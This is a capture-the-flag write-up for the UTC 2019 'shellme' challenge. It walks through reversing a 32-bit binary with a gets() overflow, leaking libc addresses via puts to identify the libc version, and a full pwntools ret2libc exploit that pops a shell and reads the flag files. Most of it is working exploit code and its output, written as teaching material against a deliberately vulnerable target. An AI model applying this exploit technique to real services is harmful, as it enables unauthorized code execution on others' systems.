Rating:

Utc 2019 shellme

Let's take a look at the binary:

$    file server
server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=be2f490cdd60374344e1075c9dd31060666bd524, not stripped
$    pwn checksec server
[*] '/Hackery/utc/shelltime/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./server

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffde2de0 | 00 00 00 00 00 00 00 00 |
0xffde2de8 | 00 00 00 00 00 00 00 00 |
0xffde2df0 | 00 00 00 00 00 00 00 00 |
0xffde2df8 | 00 00 00 00 00 00 00 00 |
0xffde2e00 | ff ff ff ff ff ff ff ff |
0xffde2e08 | ff ff ff ff ff ff ff ff |
0xffde2e10 | 80 75 ec f7 00 a0 04 08 |
0xffde2e18 | 28 2e de ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: 0000000000000000000000000000000000000000000000000000000000

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffde2de0 | 30 30 30 30 30 30 30 30 |
0xffde2de8 | 30 30 30 30 30 30 30 30 |
0xffde2df0 | 30 30 30 30 30 30 30 30 |
0xffde2df8 | 30 30 30 30 30 30 30 30 |
0xffde2e00 | 30 30 30 30 30 30 30 30 |
0xffde2e08 | 30 30 30 30 30 30 30 30 |
0xffde2e10 | 30 30 30 30 30 30 30 30 |
0xffde2e18 | 30 30 00 ff 8b 86 04 08 |
Return address: 0x0804868b

Segmentation fault (core dumped)

So we can see we are dealing with a 32 bit binary, with NX enabled. When we run the binary, we get what looks like a buffer overflow.

Reversing

When we take a look at the vuln function in ghidra (0x080485b1) we see this:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void vuln(void)

{
  char acStack60 [32];
  undefined local_1c [20];
 
  memset(acStack60,0,0x20);
  memset(local_1c,0xff,0x10);
  init_visualize(acStack60);
  visualize(acStack60);
  printf("Input some text: ");
  gets(acStack60);
  visualize(acStack60);
  return;
}

So we can see that there is a buffer overflow with gets. Since there is no stack canary, we can overwrite the return address and get code execution. Let's see how far away the return address is from the start of our input:

gef➤  b *vuln+119
Breakpoint 1 at 0x8048628
gef➤  r
Starting program: /Hackery/utc/shelltime/server

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffffd160 | 00 00 00 00 00 00 00 00 |
0xffffd168 | 00 00 00 00 00 00 00 00 |
0xffffd170 | 00 00 00 00 00 00 00 00 |
0xffffd178 | 00 00 00 00 00 00 00 00 |
0xffffd180 | ff ff ff ff ff ff ff ff |
0xffffd188 | ff ff ff ff ff ff ff ff |
0xffffd190 | 80 45 fb f7 00 a0 04 08 |
0xffffd198 | a8 d1 ff ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: 15935728

Breakpoint 1, 0x08048628 in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd160"15935728"
$ebx   : 0x0804a0000x08049f0c0x00000001
$ecx   : 0xf7fb45800xfbad208b
$edx   : 0xffffd1680x00000000
$esp   : 0xffffd1500xffffd160"15935728"
$ebp   : 0xffffd1980xffffd1a80x00000000
$esi   : 0xf7fb40000x001e8d6c
$edi   : 0xf7fb40000x001e8d6c
$eip   : 0x08048628  →  <vuln+119> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd150│+0x0000: 0xffffd160"15935728"     ← $esp
0xffffd154│+0x0004: 0x000000ff
0xffffd158│+0x0008: 0x00000010
0xffffd15c│+0x000c: 0x080485bd  →  <vuln+12> add ebx, 0x1a43
0xffffd160│+0x0010: "15935728"
0xffffd164│+0x0014: "5728"
0xffffd168│+0x0018: 0x00000000
0xffffd16c│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804861f <vuln+110>       lea    eax, [ebp-0x38]
    0x8048622 <vuln+113>       push   eax
    0x8048623 <vuln+114>       call   0x8048400 <gets@plt>
 →  0x8048628 <vuln+119>       add    esp, 0x10
    0x804862b <vuln+122>       sub    esp, 0xc
    0x804862e <vuln+125>       lea    eax, [ebp-0x38]
    0x8048631 <vuln+128>       push   eax
    0x8048632 <vuln+129>       call   0x80486e1 <visualize>
    0x8048637 <vuln+134>       add    esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048628 → vuln()
[#1] 0x804868b → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd160 - 0xffffd168"15935728"
gef➤  i f
Stack level 0, frame at 0xffffd1a0:
 eip = 0x8048628 in vuln; saved eip = 0x804868b
 called by frame at 0xffffd1c0
 Arglist at 0xffffd198, args:
 Locals at 0xffffd198, Previous frame's sp is 0xffffd1a0
 Saved registers:
  ebx at 0xffffd194, ebp at 0xffffd198, eip at 0xffffd19c

So we can see that the offset to the return address from the start of our input is 0xffffd19c - 0xffffd160 = 0x3c bytes.

Exploitation

So we can call an instruction pointer, however the difficulty is what to call. When I solved this challenge durring the ctf, I decided to go with leaking a libc address, and using things from libc. However there was one problem with that. We aren't given the libc version. Luckily I had just finished a new tool which is for identifying remote libc versions. All we need is just two libc infoleaks, and it can identify possible remote libc versions.

First off, since PIE isn't enabled we can call imported functions. We also see that puts is enabled:

$    objdump -D server | grep puts
08048410 <puts@plt>:
 8048704:    e8 07 fd ff ff           call   8048410 <puts@plt>
 8048716:    e8 f5 fc ff ff           call   8048410 <puts@plt>
 8048846:    e8 c5 fb ff ff           call   8048410 <puts@plt>
 8048881:    e8 8a fb ff ff           call   8048410 <puts@plt>

So we can just call puts twice, with the address being the got address for puts and gets. The got address holds the libc address for the corresponding function. Now in x86, puts expects it's argument 0x4 bytes after the instruction on the stack. With that we can get our two libc addresses.

Now for actually identifying the remote libc version, we can just use the tool I mentioned earlier (https://github.com/guyinatuxedo/The_Night). All we need to do is import it into our exploit code, then call a single function. For that single function, there will be four arguments. The first two will be the first libc infoleak along with the symbol for it. The last two will be the second infoleak along with the symbol for it:

mport TheNight
from pwn import *


target = remote("chal.utc-ctf.club", 4902)
#target = process("./server")
elf = ELF('server')

#gdb.attach(target, gdbscript = 'b *0x804863f')

payload = ""
payload += "0"*0x3c
payload += p32(elf.symbols["puts"])
payload += p32(elf.symbols["puts"])
payload += p32(elf.got["puts"])
payload += p32(elf.got["gets"])

target.sendline(payload)


for i in range(0, 2):
    print target.recvuntil("Return address:")


for i in range(0, 2):
    print target.recvline()


leak0 = target.recvline()[0:4]
leak1 = target.recvline()[0:4]

puts = u32(leak0)
gets = u32(leak1)

print "puts address: " + hex(puts)
print "gets address: " + hex(gets)

TheNight.findLibcVersion("puts", puts, "gets", gets)

target.interactive()

When we run it:

$    python idLibc.py
[+] Opening connection to chal.utc-ctf.club on port 4902: Done
[*] '/Hackery/utc/shelltime/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xff8834c0 | 00 00 00 00 00 00 00 00 |
0xff8834c8 | 00 00 00 00 00 00 00 00 |
0xff8834d0 | 00 00 00 00 00 00 00 00 |
0xff8834d8 | 00 00 00 00 00 00 00 00 |
0xff8834e0 | ff ff ff ff ff ff ff ff |
0xff8834e8 | ff ff ff ff ff ff ff ff |
0xff8834f0 | c0 a5 f6 f7 00 a0 04 08 |
0xff8834f8 | 08 35 88 ff 8b 86 04 08 |
Return address:
 0x0804868b

Input some text:
Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xff8834c0 | 30 30 30 30 30 30 30 30 |
0xff8834c8 | 30 30 30 30 30 30 30 30 |
0xff8834d0 | 30 30 30 30 30 30 30 30 |
0xff8834d8 | 30 30 30 30 30 30 30 30 |
0xff8834e0 | 30 30 30 30 30 30 30 30 |
0xff8834e8 | 30 30 30 30 30 30 30 30 |
0xff8834f0 | 30 30 30 30 30 30 30 30 |
0xff8834f8 | 30 30 30 30 10 84 04 08 |
Return address:
 0x08048410



puts address: 0xf7df9b40
gets address: 0xf7df92b0
Offset:   0x890
Symbol0:  puts
Symbol1:  gets
Address0: 0xf7df9b40
Address1: 0xf7df92b0
Possible libc: output-symbols-libc6-i386_2.19-10ubuntu2_amd64.so
Possible libc: output-symbols-libc6_2.19-10ubuntu2_i386.so
Possible libc: output-symbols-libc6_2.19-10ubuntu2.3_i386.so
Possible libc: output-symbols-libc6-i386_2.19-10ubuntu2.3_amd64.so
Possible libc: output-symbols-libc6_2.27-3ubuntu1_i386.so
[*] Switching to interactive mode
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$  

So these are the possible libc versions:

Possible libc: output-symbols-libc6-i386_2.19-10ubuntu2_amd64.so
Possible libc: output-symbols-libc6_2.19-10ubuntu2_i386.so
Possible libc: output-symbols-libc6_2.19-10ubuntu2.3_i386.so
Possible libc: output-symbols-libc6-i386_2.19-10ubuntu2.3_amd64.so
Possible libc: output-symbols-libc6_2.27-3ubuntu1_i386.so

So we can see that the two possible versions are 2.27 and 2.19. I tried 2.27 at first because it is much more modern, and it worked. Now since we know the libc version, and we have a libc infoleak, we can just slightly modify our exploit to get a shell. We will modify the first payload to only give us a single libc infoleak, and then call vuln again. The second time around we will just overwrite the return address to point to system from libc, with the argument being /bin/sh from libc too.

Also to find the offset from the start of the libc to /bin/sh, I just used a hex editor for that.

Exploit

Putting it all together, we have the following exploit:

cat exploit.py
import TheNight
from pwn import *


target = remote("chal.utc-ctf.club", 4902)
libc = ELF("libc6_2.27-3ubuntu1_i386.so")

#target = process("./server")
elf = ELF('server')


payload = ""
payload += "0"*0x3c
payload += p32(elf.symbols["puts"])
payload += p32(elf.symbols["vuln"])
payload += p32(elf.got["puts"])

target.sendline(payload)


for i in range(0, 2):
    print target.recvuntil("Return address:")


for i in range(0, 2):
    print target.recvline()


leak0 = target.recvline()[0:4]

puts = u32(leak0)

libcBase = puts - libc.symbols["puts"]

print "libc base: " + hex(libcBase)

binshOffset = 0x17e0cf

payload1 = ""
payload1 += "0"*0x3c
payload1 += p32(libcBase + libc.symbols["system"])
payload1 += p32(0x30303030)
payload1 += p32(libcBase + binshOffset)

target.sendline(payload1)

target.interactive()

When we run it:

$    python exploit.py
[+] Opening connection to chal.utc-ctf.club on port 4902: Done
[*] '/Hackery/utc/shelltime/libc6_2.27-3ubuntu1_i386.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/Hackery/utc/shelltime/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba510 | 00 00 00 00 00 00 00 00 |
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | ff ff ff ff ff ff ff ff |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | c0 d5 ef f7 00 a0 04 08 |
0xffbba548 | 58 a5 bb ff 8b 86 04 08 |
Return address:
 0x0804868b

Input some text:
Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba510 | 30 30 30 30 30 30 30 30 |
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 10 84 04 08 |
Return address:
 0x08048410



libc base: 0xf7d25000
[*] Switching to interactive mode

Legend: buff \x1b[32;1mMODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | 00 00 00 00 00 00 00 00 |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | ff ff ff ff ff ff ff ff |
0xffbba548 | 00 00 00 00 30 30 30 30 |
0xffbba550 | 30 30 30 30 18 a0 04 08 |
Return address: 0x0804a018

Input some text:
Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 30 30 30 30 |
0xffbba550 | 30 30 30 30 00 22 d6 f7 |
Return address: 0xf7d62200

$ w
 23:51:51 up 1 day,  2:12,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
$ ls
bin
boot
dev
etc
flag.txt
flag2.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
server
srv
sys
tmp
usr
var
$ cat flag.txt
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}
$ cat flag2.txt
utc{c0ngrat1s_0n_th1s_sh3ll!}
Original writeup (https://github.com/guyinatuxedo/nightmare/tree/master/modules/08-bof_dynamic/utc19_shellme).